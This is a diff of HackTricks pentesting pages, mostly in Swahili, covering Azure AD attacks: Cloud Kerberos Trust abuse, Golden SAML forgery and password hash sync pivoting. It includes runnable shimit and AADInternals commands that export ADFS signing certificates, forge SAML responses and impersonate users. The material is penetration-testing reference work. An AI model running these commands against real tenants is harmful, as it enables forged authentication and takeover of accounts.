└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'
```
**Kumbuka kwamba aina hizi za access tokens zinaweza pia kupatikana ndani ya michakato mingine.**
**Kumbuka kwamba aina hizi za alama za ufikiaji zinaweza pia kupatikana ndani ya michakato mingine.**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,15 +2,15 @@
{{#include ../../../../banners/hacktricks-training.md}}
**Huu ni muhtasari wa** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **ambayo inaweza kuangaliwa kwa maelezo zaidi kuhusu shambulio. Mbinu hii pia imejadiliwa katika** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
**Post hii ni muhtasari wa** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **ambayo inaweza kuangaliwa kwa maelezo zaidi kuhusu shambulio. Mbinu hii pia imejadiliwa katika** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
## Taarifa za Msingi
### Kuaminiana
### Uaminifu
Wakati kuaminiana kunapoundwa na Azure AD, **Kituo cha Kichwa cha Kusoma tu (RODC) kinaundwa katika AD.** Akaunti ya **kompyuta ya RODC**, inayoitwa **`AzureADKerberos$`**. Pia, akaunti ya pili ya `krbtgt` inayoitwa **`krbtgt_AzureAD`**. Akaunti hii ina **funguo za Kerberos** zinazotumika kwa tiketi ambazo Azure AD inaunda.
Wakati uaminifu unapoanzishwa na Azure AD, **Kituo cha Kichwa cha Kituo cha Kichwa (RODC) kinaundwa katika AD.** Akaunti ya **kompyuta ya RODC**, inayoitwa **`AzureADKerberos$`**. Pia, akaunti ya pili ya `krbtgt` inayoitwa **`krbtgt_AzureAD`**. Akaunti hii ina **funguo za Kerberos** zinazotumika kwa tiketi ambazo Azure AD inaunda.
Hivyo, ikiwa akaunti hii itavunjwa inaweza kuwa inawezekana kujifanya kama mtumiaji yeyote... ingawa hii si kweli kwa sababu akaunti hii imezuia kuunda tiketi kwa kundi lolote la kawaida lenye mamlaka ya AD kama vile Domain Admins, Enterprise Admins, Administrators...
Hivyo, ikiwa akaunti hii itavunjwa inaweza kuwa na uwezo wa kujifanya kama mtumiaji yeyote... ingawa hii si kweli kwa sababu akaunti hii imezuia kuunda tiketi kwa kundi lolote la kawaida lenye mamlaka ya AD kama vile Domain Admins, Enterprise Admins, Administrators...
> [!CAUTION]
> Hata hivyo, katika hali halisi kutakuwa na watumiaji wenye mamlaka ambao hawako katika vikundi hivyo. Hivyo, **akaunti mpya ya krbtgt, ikiwa itavunjwa, inaweza kutumika kujifanya kama wao.**
@@ -22,25 +22,25 @@ Windows inaweza kisha **kubadilisha TGT hii ya sehemu kwa TGT kamili** kwa kuomb
### NTLM
Kama kutakuwa na huduma ambazo hazisaidii uthibitishaji wa kerberos lakini NTLM, inawezekana kuomba **TGT ya sehemu iliyosainiwa kwa kutumia funguo ya pili ya `krbtgt`** ikiwa na **`KERB-KEY-LIST-REQ`** katika sehemu ya **PADATA** ya ombi na kisha kupata TGT kamili iliyosainiwa kwa funguo ya msingi ya `krbtgt` **ikiwa na hash ya NT katika jibu**.
Kama kutakuwa na huduma ambazo hazisaidii uthibitisho wa kerberos lakini NTLM, inawezekana kuomba **TGT ya sehemu iliyosainiwa kwa kutumia funguo ya pili ya `krbtgt`** ikiwa na **`KERB-KEY-LIST-REQ`** katika sehemu ya **PADATA** ya ombi na kisha kupata TGT kamili iliyosainiwa kwa funguo ya msingi ya `krbtgt` **ikiwa na hash ya NT katika jibu**.
## Kutumia Cloud Kerberos Trust kupata Domain Admin <a href="#abusing-cloud-kerberos-trust-to-obtain-domain-admin" id="abusing-cloud-kerberos-trust-to-obtain-domain-admin"></a>
Wakati AzureAD inaunda **TGT ya sehemu** itakuwa ikitumia maelezo iliyonayo kuhusu mtumiaji. Hivyo, ikiwa Msimamizi wa Kimataifa anaweza kubadilisha data kama **kitambulisho cha usalama na jina la mtumiaji katika AzureAD**, wakati wa kuomba TGT kwa mtumiaji huyo **kitambulisho cha usalama kitakuwa tofauti.**
Wakati AzureAD inaunda **TGT ya sehemu** itakuwa ikitumia maelezo iliyonayo kuhusu mtumiaji. Hivyo, ikiwa Msimamizi wa Global anaweza kubadilisha data kama **kitambulisho cha usalama na jina la mtumiaji katika AzureAD**, wakati wa kuomba TGT kwa mtumiaji huyo **kitambulisho cha usalama kitakuwa tofauti.**
Haiwezekani kufanya hivyo kupitia Microsoft Graph au Azure AD Graph, lakini inawezekana kutumia **API ambayo Active Directory Connect inatumia kuunda na kusasisha watumiaji waliounganishwa**, ambayo inaweza kutumika na Msimamizi wa Kimataifa kubadilisha **jina la SAM na SID ya mtumiaji yeyote wa mseto**, na kisha ikiwa tunaingia, tunapata TGT ya sehemu yenye SID iliyobadilishwa.
Haiwezekani kufanya hivyo kupitia Microsoft Graph au Azure AD Graph, lakini inawezekana kutumia **API ambayo Active Directory Connect inatumia kuunda na kusasisha watumiaji waliounganishwa**, ambayo inaweza kutumika na Msimamizi wa Global kubadilisha **jina la SAM na SID ya mtumiaji yeyote wa mseto**, na kisha ikiwa tunaandika, tunapata TGT ya sehemu yenye SID iliyobadilishwa.
Kumbuka kwamba tunaweza kufanya hivi na AADInternals na kusasisha kwa watumiaji waliounganishwa kupitia cmdlet [Set-AADIntAzureADObject](https://aadinternals.com/aadinternals/#set-aadintazureadobject-a).
### Masharti ya shambulio <a href="#attack-prerequisites" id="attack-prerequisites"></a>
Mafanikio ya shambulio na kupata mamlaka ya Domain Admin yanategemea kutimizwa kwa masharti fulani:
Mafanikio ya shambulio na kupata mamlaka ya Domain Admin yanategemea kukutana na masharti fulani:
- Uwezo wa kubadilisha akaunti kupitia API ya Usawazishaji ni muhimu. Hii inaweza kupatikana kwa kuwa na jukumu la Msimamizi wa Kimataifa au kuwa na akaunti ya usawazishaji ya AD Connect. Vinginevyo, jukumu la Msimamizi wa Utambulisho wa Mseto litatosha, kwani linatoa uwezo wa kusimamia AD Connect na kuanzisha akaunti mpya za usawazishaji.
- Uwezo wa kubadilisha akaunti kupitia API ya Usawazishaji ni muhimu. Hii inaweza kupatikana kwa kuwa na jukumu la Msimamizi wa Global au kuwa na akaunti ya usawazishaji ya AD Connect. Vinginevyo, jukumu la Msimamizi wa Utambulisho wa Mseto litatosha, kwani linatoa uwezo wa kusimamia AD Connect na kuanzisha akaunti mpya za usawazishaji.
- Uwepo wa **akaunti ya mseto** ni muhimu. Akaunti hii lazima iweze kubadilishwa kwa maelezo ya akaunti ya mwathirika na pia inapaswa kuwa inapatikana kwa uthibitisho.
- Utambuzi wa **akaunti ya mwathirika** ndani ya Active Directory ni lazima. Ingawa shambulio linaweza kutekelezwa kwenye akaunti yoyote iliyosawazishwa tayari, mpangilio wa Azure AD haupaswi kuwa na kitambulisho cha usalama wa ndani kilichorejelewa, hivyo inahitajika kubadilisha akaunti isiyosawazishwa ili kupata tiketi.
- Aidha, akaunti hii inapaswa kuwa na mamlaka sawa na ya admin wa domain lakini haipaswi kuwa mwanachama wa vikundi vya kawaida vya wasimamizi wa AD ili kuepuka kuunda TGT zisizo sahihi na RODC ya AzureAD.
- Lengo bora zaidi ni **akaunti ya Active Directory inayotumiwa na huduma ya Usawazishaji ya AD Connect**. Akaunti hii haisawazishwi na Azure AD, ikiacha SID yake kama lengo linalofaa, na kwa asili ina mamlaka sawa na ya Domain Admin kutokana na jukumu lake katika kusawazisha hash za nywila (ikiwa Usawazishaji wa Hash ya Nywila unafanya kazi). Kwa maeneo yenye usakinishaji wa haraka, akaunti hii imeandikwa kwa **MSOL\_**. Kwa matukio mengine, akaunti inaweza kupatikana kwa kuorodhesha akaunti zote zilizo na mamlaka ya Urejeleaji wa Katalogi kwenye kituo cha domain.
- Aidha, akaunti hii inapaswa kuwa na mamlaka sawa na ya admin wa domain lakini haipaswi kuwa mwanachama wa vikundi vya kawaida vya wasimamizi wa AD ili kuepuka kuundwa kwa TGT zisizo sahihi na RODC ya AzureAD.
- Lengo bora ni **akaunti ya Active Directory inayotumiwa na huduma ya AD Connect Sync**. Akaunti hii haisawazishwi na Azure AD, ikiacha SID yake kama lengo linalofaa, na kwa asili ina mamlaka sawa na ya Domain Admin kutokana na jukumu lake katika kusawazisha hash za nywila (ikiwa Usawazishaji wa Hash ya Nywila unafanya kazi). Kwa maeneo yenye usakinishaji wa haraka, akaunti hii imeandikwa kwa **MSOL\_**. Kwa matukio mengine, akaunti inaweza kupatikana kwa kuorodhesha akaunti zote zilizo na mamlaka ya Urejeleaji wa Katalogi kwenye kituo cha domain.
### Shambulio kamili <a href="#the-full-attack" id="the-full-attack"></a>

View File

@@ -2,8 +2,8 @@
{{#include ../../../../banners/hacktricks-training.md}}
**Check the techinque in:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) and [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
**Angalia mbinu katika:** [**https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/**](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**,** [**https://www.youtube.com/watch?v=JEIR5oGCwdg**](https://www.youtube.com/watch?v=JEIR5oGCwdg) na [**https://www.youtube.com/watch?v=xei8lAPitX8**](https://www.youtube.com/watch?v=xei8lAPitX8)
Post ya blog inazungumzia udhaifu wa kupandisha hadhi katika Azure AD, ikiruhusu Wasimamizi wa Programu au Akaunti za Sync za On-Premise zilizovunjwa kupandisha hadhi kwa kupewa akreditif kwa programu. Udhaifu huu, unaotokana na tabia ya "kwa muundo" ya Azure AD katika kushughulikia programu na wakala wa huduma, unawaathiri hasa programu za ofisi za 365 za default. Ingawa imeripotiwa, suala hili halichukuliwi kama udhaifu na Microsoft kutokana na hati ya tabia ya ugawaji wa haki za usimamizi. Post hii inatoa maarifa ya kiufundi ya kina na inashauri ukaguzi wa kawaida wa akreditif za wakala wa huduma katika mazingira ya Azure AD. Kwa maelezo zaidi, unaweza kutembelea post ya blog asili.
Posti ya blog inajadili udhaifu wa kupandisha hadhi katika Azure AD, ikiruhusu Wasimamizi wa Programu au Akaunti za Sync za On-Premise zilizovunjwa kupandisha hadhi kwa kupewa ithibati kwa programu. Udhaifu huu, unaotokana na tabia ya "kwa muundo" ya Azure AD katika kushughulikia programu na wakala wa huduma, unawaathiri hasa programu za ofisi 365 za default. Ingawa imeripotiwa, suala hili halichukuliwi kama udhaifu na Microsoft kutokana na hati ya tabia ya ugawaji wa haki za usimamizi. Posti inatoa maarifa ya kiufundi ya kina na inashauri ukaguzi wa kawaida wa ithibati za wakala wa huduma katika mazingira ya Azure AD. Kwa maelezo zaidi, unaweza kutembelea posti ya blog asili.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -6,22 +6,22 @@
Ili kusawazisha mtumiaji mpya f** kutoka AzureAD hadi kwenye AD ya ndani** haya ndiyo mahitaji:
- Mtumiaji wa **AzureAD** anahitaji kuwa na anwani ya proxy ( **mailbox**)
- Mtumiaji wa **AzureAD** anahitaji kuwa na anwani ya proxy ( **mailbox** )
- Leseni haitahitajika
- Haipaswi **kuwa tayari imesawazishwa**
```powershell
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
When a user like these is found in AzureAD, in order to **access it from the on-prem AD** you just need to **create a new account** with the **proxyAddress** the SMTP email.
Wakati mtumiaji kama hawa anapatikana katika AzureAD, ili **kuufikia kutoka kwenye AD ya ndani** unahitaji tu **kuunda akaunti mpya** yenye **proxyAddress** ya barua pepe ya SMTP.
Automatically, this user will be **synced from AzureAD to the on-prem AD user**.
Kiotomatiki, mtumiaji huyu atakuwa **amesawazishwa kutoka AzureAD hadi kwenye mtumiaji wa AD ya ndani**.
> [!CAUTION]
> Notice that to perform this attack you **don't need Domain Admin**, you just need permissions to **create new users**.
> Kumbuka kwamba ili kufanya shambulio hili **huhitaji Domain Admin**, unahitaji tu ruhusa za **kuunda watumiaji wapya**.
>
> Pia, hii **haitapita MFA**.
>
> Zaidi ya hayo, hii iliripotiwa kuwa **sambaza akaunti haiwezekani tena kwa akaunti za admin**.
> Zaidi ya hayo, hii iliripotiwa kuwa **kusawazisha akaunti hakuwezekani tena kwa akaunti za admin**.
## References

View File

@@ -4,7 +4,7 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **idara kadhaa** ambazo zimeanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federation** ni mkusanyiko wa **domains** ambazo zimeanzisha **trust**. Kiwango cha trust kinaweza kutofautiana, lakini kwa kawaida kinajumuisha **authentication** na karibu kila wakati kinajumuisha **authorization**. Federation ya kawaida inaweza kujumuisha **mashirika kadhaa** ambayo yameanzisha **trust** kwa **upatikanaji wa pamoja** wa seti ya rasilimali.
Unaweza **federate mazingira yako ya on-premises** **na Azure AD** na kutumia federation hii kwa ajili ya authentication na authorization. Njia hii ya kuingia inahakikisha kwamba **authentication ya mtumiaji inafanyika kwenye on-premises**. Njia hii inaruhusu wasimamizi kutekeleza viwango vya juu vya udhibiti wa upatikanaji. Federation na **AD FS** na PingFederate inapatikana.
@@ -25,11 +25,11 @@ Katika mpangilio wowote wa federation kuna pande tatu:
<figure><img src="../../../../images/image (121).png" alt=""><figcaption></figcaption></figure>
1. Kwanza, programu (Mtoa Huduma au SP, kama vile AWS console au vSphere web client) inafikiwa na mtumiaji. Hatua hii inaweza kupuuziliwa mbali, ikimpeleka mteja moja kwa moja kwa IdP (Mtoa Kitambulisho) kulingana na utekelezaji maalum.
2. Kisha, SP inatambua IdP inayofaa (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa.
2. Kisha, SP inatambua IdP sahihi (mfano, AD FS, Okta) kwa ajili ya authentication ya mtumiaji. Kisha inaunda SAML (Security Assertion Markup Language) AuthnRequest na kuhamasisha mteja kwa IdP iliyochaguliwa.
3. IdP inachukua jukumu, ikimthibitisha mtumiaji. Baada ya authentication, SAMLResponse inaundwa na IdP na kupelekwa kwa SP kupitia mtumiaji.
4. Hatimaye, SP inakagua SAMLResponse. Ikiwa imethibitishwa kwa mafanikio, ikionyesha uhusiano wa kuaminika na IdP, mtumiaji anapewa upatikanaji. Hii inamaanisha kumalizika kwa mchakato wa kuingia, ikimruhusu mtumiaji kutumia huduma hiyo.
**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida tembelea:**
**Ikiwa unataka kujifunza zaidi kuhusu SAML authentication na mashambulizi ya kawaida nenda kwa:**
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/saml-attacks
@@ -38,52 +38,52 @@ https://book.hacktricks.xyz/pentesting-web/saml-attacks
## Pivoting
- AD FS ni mfano wa kitambulisho unaotegemea madai.
- "..madai ni kauli tu (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."
- Madai kwa mtumiaji yanaandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
- Mtumiaji anajulikana kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
- ImmutableID inahifadhiwa kwenye on-prem ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.
- "..claims ni kauli rahisi (kwa mfano, jina, kitambulisho, kundi), zinazotolewa kuhusu watumiaji, ambazo zinatumika hasa kwa ajili ya kuidhinisha upatikanaji wa maombi yanayotegemea madai yaliyoko popote mtandaoni."
- Madai ya mtumiaji yameandikwa ndani ya SAML tokens na kisha kusainiwa ili kutoa usiri na IdP.
- Mtumiaji anaitambulika kwa ImmutableID. Ni ya kipekee duniani na inahifadhiwa katika Azure AD.
- ImmutableID inahifadhiwa kwenye on-prem kama ms-DS-ConsistencyGuid kwa mtumiaji na/au inaweza kutolewa kutoka kwa GUID wa mtumiaji.
- Maelezo zaidi katika [https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)
**Golden SAML attack:**
- Katika ADFS, SAML Response inasainiwa na cheti cha kusaini token.
- Ikiwa cheti kimeathiriwa, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!
- Ikiwa cheti kimeathirika, inawezekana kuthibitisha kwa Azure AD kama MTUMIAJI YEYOTE aliyeunganishwa na Azure AD!
- Kama vile unavyofanya abuse ya PTA, kubadilisha nenosiri la mtumiaji au MFA hakutakuwa na athari yoyote kwa sababu tunaunda jibu la uthibitisho.
- Cheti kinaweza kutolewa kutoka kwa seva ya AD FS kwa ruhusa za DA na kisha kinaweza kutumika kutoka kwa mashine yoyote iliyo na muunganisho wa intaneti.
- Maelezo zaidi katika [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
### Golden SAML
Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefichwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
Mchakato ambapo **Mtoa Kitambulisho (IdP)** anatoa **SAMLResponse** ili kuidhinisha kuingia kwa mtumiaji ni muhimu. Kulingana na utekelezaji maalum wa IdP, **jibu** linaweza kuwa **limesainiwa** au **limefungwa** kwa kutumia **funguo binafsi za IdP**. Utaratibu huu unaruhusu **Mtoa Huduma (SP)** kuthibitisha uhalali wa SAMLResponse, kuhakikisha kwamba ilitolewa na IdP wa kuaminika.
Mfanowe unaweza kuhusishwa na [shambulio la tiketi ya dhahabu](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
Mfanoweza kuhusishwa na [shambulizi la golden ticket](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/golden-ticket), ambapo funguo inayothibitisha kitambulisho na ruhusa za mtumiaji (KRBTGT kwa tiketi za dhahabu, funguo binafsi za kusaini token kwa golden SAML) inaweza kudhibitiwa ili **kuunda kitu cha uthibitisho** (TGT au SAMLResponse). Hii inaruhusu kuiga mtumiaji yeyote, ikitoa upatikanaji usioidhinishwa kwa SP.
Golden SAML zinatoa faida fulani:
Golden SAMLs hutoa faida fulani:
- Zinaweza **kuundwa kwa mbali**, bila haja ya kuwa sehemu ya domain au federation husika.
- Zinaundwa **kijijini**, bila haja ya kuwa sehemu ya domain au federation husika.
- Zinabaki kuwa na ufanisi hata na **Uthibitisho wa Mbili (2FA)** umewezeshwa.
- Funguo binafsi ya **kusaini token haijazaliwa upya kiotomatiki**.
- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyotengenezwa tayari.
- Funguo binafsi ya kusaini **haijazinduliwa kiotomatiki**.
- **Kubadilisha nenosiri la mtumiaji hakuharibu** SAML iliyozalishwa tayari.
#### AWS + AD FS + Golden SAML
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ni huduma ya Microsoft inayowezesha **kubadilishana kwa usalama wa taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>) ni huduma ya Microsoft inayowezesha **kubadilishana salama ya taarifa za kitambulisho** kati ya washirika wa biashara wa kuaminika (federation). Kimsingi inaruhusu huduma ya domain kushiriki vitambulisho vya watumiaji na watoa huduma wengine ndani ya federation.
Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili **kupata ruhusa yoyote katika mazingira ya AWS**. Shambulio hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulio la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.
Kwa AWS kuamini domain iliyoharibiwa (katika federation), udhaifu huu unaweza kutumika ili kupata **ruhusa yoyote katika mazingira ya AWS**. Shambulizi hili linahitaji **funguo binafsi inayotumika kusaini vitu vya SAML**, kama vile inavyohitajika KRBTGT katika shambulizi la tiketi ya dhahabu. Upatikanaji wa akaunti ya mtumiaji wa AD FS unatosha kupata funguo hii binafsi.
Mahitaji ya kutekeleza shambulio la golden SAML ni pamoja na:
Mahitaji ya kutekeleza shambulizi la golden SAML ni pamoja na:
- **Funguo binafsi ya kusaini token**
- **Cheti cha umma cha IdP**
- **Jina la IdP**
- **Jina la jukumu (jukumu la kuchukua)**
- **Jina la jukumu (jina la kuchukua)**
- Domain\jina la mtumiaji
- Jina la kikao cha jukumu katika AWS
- Amazon account ID
_Vitu vilivyo katika maandiko makubwa pekee ndivyo vinahitajika. Vingine vinaweza kujazwa kama inavyotakiwa._
Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** ni muhimu. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** unahitajika. Kutoka hapo, funguo binafsi inaweza **kuzalishwa kutoka kwenye duka la kibinafsi** kwa kutumia zana kama [mimikatz](https://github.com/gentilkiwi/mimikatz). Ili kukusanya taarifa nyingine zinazohitajika, unaweza kutumia Microsoft.Adfs.Powershell snapin kama ifuatavyo, ukihakikisha umeingia kama mtumiaji wa ADFS:
```powershell
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -97,7 +97,7 @@ Ili kupata **funguo binafsi**, upatikanaji wa **akaunti ya mtumiaji wa AD FS** n
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
Na taarifa zote hizi, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:**
Kwa taarifa zote, inawezekana kusahau SAMLResponse halali kama mtumiaji unayetaka kujifanya kutumia [**shimit**](https://github.com/cyberark/shimit)**:**
```bash
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
@@ -114,7 +114,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
```
<figure><img src="../../../../images/image (128).png" alt=""><figcaption></figcaption></figure>
### Katika eneo -> wingu
### On-prem -> wingu
```powershell
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
@@ -133,7 +133,7 @@ Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Ni pia inawezekana kuunda ImmutableID ya watumiaji wa wingu pekee na kujifanya kuwao.
Inawezekana pia kuunda ImmutableID ya watumiaji wa wingu pekee na kujifanya kuwao.
```powershell
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
@@ -145,7 +145,7 @@ Export-AADIntADFSSigningCertificate
# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
```
## References
## Marejeo
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)

View File

@@ -4,14 +4,14 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sawa na usawazishaji wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa msingi wa wingu.
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Sawa na ushirikiano wa hash ya nywila** ni moja ya mbinu za kuingia zinazotumika kufanikisha utambulisho wa hybrid. **Azure AD Connect** inasawazisha hash, ya hash, ya nywila ya mtumiaji kutoka kwa mfano wa Active Directory wa ndani hadi mfano wa Azure AD wa wingu.
<figure><img src="../../../../images/image (173).png" alt=""><figcaption></figcaption></figure>
Ni **mbinu ya kawaida zaidi** inayotumiwa na kampuni kusawazisha AD ya ndani na Azure AD.
Wote **watumiaji** na **hash ya nywila za nywila** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za wazi** au **hashi za asili** hazitumwi kwa Azure AD.\
Zaidi ya hayo, vikundi vya usalama **vilivyojengwa ndani** (kama wasimamizi wa kikoa...) **havijasawazishwa** kwa Azure AD.
Watumiaji wote na **hash ya nywila za hash** wanasawazishwa kutoka kwa AD ya ndani hadi Azure AD. Hata hivyo, **nywila za wazi** au **hashi za asili** hazitumwi kwa Azure AD.\
Zaidi ya hayo, vikundi vya usalama **vilivyojengwa ndani** (kama wasimamizi wa eneo...) **havisawazishwi** kwa Azure AD.
**Usawazishaji wa hash** unafanyika kila **dakika 2**. Hata hivyo, kwa kawaida, **kuisha kwa nywila** na **kuisha kwa akaunti** **hakusawazishwi** katika Azure AD. Hivyo, mtumiaji ambaye **nywila yake ya ndani imeisha** (haijabadilishwa) anaweza kuendelea **kupata rasilimali za Azure** akitumia nywila ya zamani.
@@ -21,19 +21,19 @@ Wakati mtumiaji wa ndani anapotaka kupata rasilimali ya Azure, **uthibitishaji u
## Pivoting
Wakati PHS imewekwa, baadhi ya **akaunti zenye mamlaka** zinaundwa kiotomatiki:
Wakati PHS imewekwa, akaunti zingine **za kipaumbele** zinaanzishwa kiotomatiki:
- Akaunti **`MSOL_<installationID>`** inaundwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Akaunti za Usawazishaji wa Katalogi** (tazama [nyaraka](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za kuiga (DCSync) katika AD ya ndani**.
- Akaunti **`Sync_<name of on-prem ADConnect Server>_installationID`** inaundwa katika Azure AD. Akaunti hii inaweza **kurekebisha nywila ya MTUMIAJI YOYOTE** (iliyowekwa sawa au ya wingu pekee) katika Azure AD.
- Akaunti **`MSOL_<installationID>`** inaanzishwa kiotomatiki katika AD ya ndani. Akaunti hii inapewa jukumu la **Akaunti za Usawazishaji wa Katalogi** (angalia [nyaraka](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) ambayo inamaanisha kwamba ina **idhini za kuiga (DCSync) katika AD ya ndani**.
- Akaunti **`Sync_<name of on-prem ADConnect Server>_installationID`** inaanzishwa katika Azure AD. Akaunti hii inaweza **kurekebisha nywila ya MTUMIAJI YOYOTE** (iliyowekwa sawa au ya wingu pekee) katika Azure AD.
